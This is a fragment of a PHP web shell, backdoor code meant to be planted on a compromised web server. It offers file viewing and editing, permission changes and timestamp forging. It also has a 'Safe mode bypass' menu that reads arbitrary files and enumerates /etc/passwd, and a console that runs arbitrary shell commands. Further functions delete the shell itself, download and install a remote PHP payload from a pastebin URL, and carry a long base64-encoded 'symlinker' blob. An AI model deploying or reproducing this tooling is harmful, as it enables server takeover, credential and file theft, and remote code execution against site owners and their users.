  1305. echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  1306. if( empty($_POST['p2']) )
  1307. $_POST['p2'] = 'view';
  1308. if( is_file($_POST['p1']) )
  1309. $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  1310. else
  1311. $m = array('Chmod', 'Rename', 'Touch');
  1312. foreach($m as $v)
  1313. echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  1314. echo '<br><br>';
  1315. switch($_POST['p2']) {
  1316. case 'view':
  1317. echo '<pre class=ml1>';
  1318. $fp = @fopen($_POST['p1'], 'r');
  1319. if($fp) {
  1320. while( !@feof($fp) )
  1321. echo htmlspecialchars(@fread($fp, 1024));
  1322. @fclose($fp);
  1323. }
  1324. echo '</pre>';
  1325. break;
  1326. case 'highlight':
  1327. if( is_readable($_POST['p1']) ) {
  1328. echo '<div class=ml1 style="background-color: black;color:black;">';
  1329. $code = highlight_file($_POST['p1'],true);
  1330. echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  1331. }
  1332. break;
  1333. case 'chmod':
  1334. if( !empty($_POST['p3']) ) {
  1335. $perms = 0;
  1336. for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  1337. $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  1338. if(!@chmod($_POST['p1'], $perms))
  1339. echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  1340. else
  1341. die('<script>g(null,null,null,null,"")</script>');
  1342. }
  1343. echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  1344. break;
  1345. case 'edit':
  1346. if( !is_writable($_POST['p1'])) {
  1347. echo 'File isn\'t writeable';
  1348. break;
  1349. }
  1350. if( !empty($_POST['p3']) ) {
  1351. @file_put_contents($_POST['p1'],$_POST['p3']);
  1352. echo 'Saved!<br><script>document.mf.p3.value="";</script>';
  1353. }
  1354. echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
  1355. $fp = @fopen($_POST['p1'], 'r');
  1356. if($fp) {
  1357. while( !@feof($fp) )
  1358. echo htmlspecialchars(@fread($fp, 1024));
  1359. @fclose($fp);
  1360. }
  1361. echo '</textarea><input type=submit value=">>"></form>';
  1362. break;
  1363. case 'hexdump':
  1364. $c = @file_get_contents($_POST['p1']);
  1365. $n = 0;
  1366. $h = array('00000000<br>','','');
  1367. $len = strlen($c);
  1368. for ($i=0; $i<$len; ++$i) {
  1369. $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  1370. switch ( ord($c[$i]) ) {
  1371. case 0: $h[2] .= ' '; break;
  1372. case 9: $h[2] .= ' '; break;
  1373. case 10: $h[2] .= ' '; break;
  1374. case 13: $h[2] .= ' '; break;
  1375. default: $h[2] .= $c[$i]; break;
  1376. }
  1377. $n++;
  1378. if ($n == 32) {
  1379. $n = 0;
  1380. if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  1381. $h[1] .= '<br>';
  1382. $h[2] .= "\n";
  1383. }
  1384. }
  1385. echo '<table cellspacing=1 cellpadding=5 bgcolor=#red><tr><td bgcolor=red><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#red><pre>'.$h[1].'</pre></td><td bgcolor=#red><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  1386. break;
  1387. case 'rename':
  1388. if( !empty($_POST['p3']) ) {
  1389. if(!@rename($_POST['p1'], $_POST['p3']))
  1390. echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
  1391. else
  1392. die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  1393. }
  1394. echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  1395. break;
  1396. case 'touch':
  1397. if( !empty($_POST['p3']) ) {
  1398. $time = strtotime($_POST['p3']);
  1399. if($time) {
  1400. if(@touch($_POST['p1'],$time,$time))
  1401. die('<script>g(null,null,null,null,"")</script>');
  1402. else {
  1403. echo 'Fail!<script>document.mf.p3.value="";</script>';
  1404. }
  1405. } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
  1406. }
  1407. echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  1408. break;
  1409. case 'mkfile':
  1410.  
  1411. break;
  1412. }
  1413. echo '</div>';
  1414. printFooter();
  1415. }
  1416.  
  1417. function actionSafeMode() {
  1418. $temp='';
  1419. ob_start();
  1420. switch($_POST['p1']) {
  1421. case 1:
  1422. $temp=@tempnam($test, 'cx');
  1423. if(@copy("compress.zlib://".$_POST['p2'], $temp)){
  1424. echo @file_get_contents($temp);
  1425. unlink($temp);
  1426. } else
  1427. echo 'Sorry... Can\'t open file';
  1428. break;
  1429. case 2:
  1430. $files = glob($_POST['p2'].'*');
  1431. if( is_array($files) )
  1432. foreach ($files as $filename)
  1433. echo $filename."\n";
  1434. break;
  1435. case 3:
  1436. $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
  1437. curl_exec($ch);
  1438. break;
  1439. case 4:
  1440. ini_restore("safe_mode");
  1441. ini_restore("open_basedir");
  1442. include($_POST['p2']);
  1443. break;
  1444. case 5:
  1445. for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  1446. $uid = @posix_getpwuid($_POST['p2']);
  1447. if ($uid)
  1448. echo join(':',$uid)."\n";
  1449. }
  1450. break;
  1451. case 6:
  1452. if(!function_exists('imap_open'))break;
  1453. $stream = imap_open($_POST['p2'], "", "");
  1454. if ($stream == FALSE)
  1455. break;
  1456. echo imap_body($stream, 1);
  1457. imap_close($stream);
  1458. break;
  1459. }
  1460. $temp = ob_get_clean();
  1461. printHeader();
  1462. echo '<h1>Safe mode bypass</h1><div class=content>';
  1463. echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
  1464. if($temp)
  1465. echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
  1466. echo '</div>';
  1467. printFooter();
  1468. }
  1469.  
  1470.  
  1471. function permsa($file){
  1472. $permsa = fileperms($file);
  1473.  
  1474. if (($permsa & 0xC000) == 0xC000) {
  1475. // Socket
  1476. $ainfo = 's';
  1477. } elseif (($permsa & 0xA000) == 0xA000) {
  1478. // Symbolic Link
  1479. $ainfo = 'l';
  1480. } elseif (($permsa & 0x8000) == 0x8000) {
  1481. // Regular
  1482. $ainfo = '-';
  1483. } elseif (($permsa & 0x6000) == 0x6000) {
  1484. // Block special
  1485. $ainfo = 'b';
  1486. } elseif (($permsa & 0x4000) == 0x4000) {
  1487. // Directory
  1488. $ainfo = 'd';
  1489. } elseif (($permsa & 0x2000) == 0x2000) {
  1490. // Character special
  1491. $ainfo = 'c';
  1492. } elseif (($permsa & 0x1000) == 0x1000) {
  1493. // FIFO pipe
  1494. $ainfo = 'p';
  1495. } else {
  1496. // Unknown
  1497. $ainfo = 'u';
  1498. }
  1499.  
  1500. // Owner
  1501. $ainfo .= (($permsa & 0x0100) ? 'r' : '-');
  1502. $ainfo .= (($permsa & 0x0080) ? 'w' : '-');
  1503. $ainfo .= (($permsa & 0x0040) ?
  1504. (($permsa & 0x0800) ? 's' : 'x' ) :
  1505. (($permsa & 0x0800) ? 'S' : '-'));
  1506.  
  1507. // Group
  1508. $ainfo .= (($permsa & 0x0020) ? 'r' : '-');
  1509. $ainfo .= (($permsa & 0x0010) ? 'w' : '-');
  1510. $ainfo .= (($permsa & 0x0008) ?
  1511. (($permsa & 0x0400) ? 's' : 'x' ) :
  1512. (($permsa & 0x0400) ? 'S' : '-'));
  1513.  
  1514. // World
  1515. $ainfo .= (($permsa & 0x0004) ? 'r' : '-');
  1516. $ainfo .= (($permsa & 0x0002) ? 'w' : '-');
  1517. $ainfo .= (($permsa & 0x0001) ?
  1518. (($permsa & 0x0200) ? 't' : 'x' ) :
  1519. (($permsa & 0x0200) ? 'T' : '-'));
  1520.  
  1521. return $ainfo;
  1522. }
  1523. function actionConsole() {
  1524. if(isset($_POST['ajax'])) {
  1525. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  1526. ob_start();
  1527. echo "document.cf.cmd.value='';\n";
  1528. $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
  1529. if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  1530. if(@chdir($match[1])) {
  1531. $GLOBALS['cwd'] = @getcwd();
  1532. echo "document.mf.c.value='".$GLOBALS['cwd']."';";
  1533. }
  1534. }
  1535. echo "document.cf.output.value+='".$temp."';";
  1536. echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
  1537. $temp = ob_get_clean();
  1538. echo strlen($temp), "\n", $temp;
  1539. exit;
  1540. }
  1541. printHeader();
  1542.  
  1543. echo '<script>
  1544. if(window.Event) window.captureEvents(Event.KEYDOWN);
  1545. var cmds = new Array("");
  1546. var cur = 0;
  1547. function kp(e) {
  1548. var n = (window.Event) ? e.which : e.keyCode;
  1549. if(n == 38) {
  1550. cur--;
  1551. if(cur>=0)
  1552. document.cf.cmd.value = cmds[cur];
  1553. else
  1554. cur++;
  1555. } else if(n == 40) {
  1556. cur++;
  1557. if(cur < cmds.length)
  1558. document.cf.cmd.value = cmds[cur];
  1559. else
  1560. cur--;
  1561. }
  1562. }
  1563. function add(cmd) {
  1564. cmds.pop();
  1565. cmds.push(cmd);
  1566. cmds.push("");
  1567. cur = cmds.length-1;
  1568. }
  1569. </script>';
  1570. echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
  1571. foreach($GLOBALS['aliases'] as $n => $v) {
  1572. if($v == '') {
  1573. echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  1574. continue;
  1575. }
  1576. echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  1577. }
  1578. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1579. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1580. echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>';
  1581. if(!empty($_POST['p1'])) {
  1582. echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
  1583. }
  1584. echo '</textarea><input type=text name=cmd style="border-top:1;width:100%;" onkeydown="kp(event);">';
  1585. echo '</form></div><script>document.cf.cmd.focus();</script>';
  1586. printFooter();
  1587. }
  1588.  
  1589. function actionSelfRemove() {
  1590. printHeader();
  1591. ?><center><?php
  1592. if($_POST['p1'] == 'yes') {
  1593. if(@unlink(SELF_PATH))
  1594. die('Shell has been removed');
  1595. else
  1596. echo 'unlink error!';
  1597. }
  1598. echo '<h1>Killing :\'(</h1><div class="content"><br>Really want to remove the shell ?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div></center>';
  1599. printFooter();
  1600. }
  1601. function download_remote_file($file_url, $save_to)
  1602. {
  1603. $content = file_get_contents($file_url);
  1604.  
  1605. file_put_contents($save_to, $content);
  1606.  
  1607. }
  1608. if (isset($_POST['dhanush'])) {
  1609. download_remote_file('http://pastebin.com/raw/FHs6uGki', realpath("./") . '/dhanush.php');
  1610. header("location:dhanush.php"); }
  1611.  
  1612. if (isset($_POST['symlinker'])) {
  1613. $php_symlinker = "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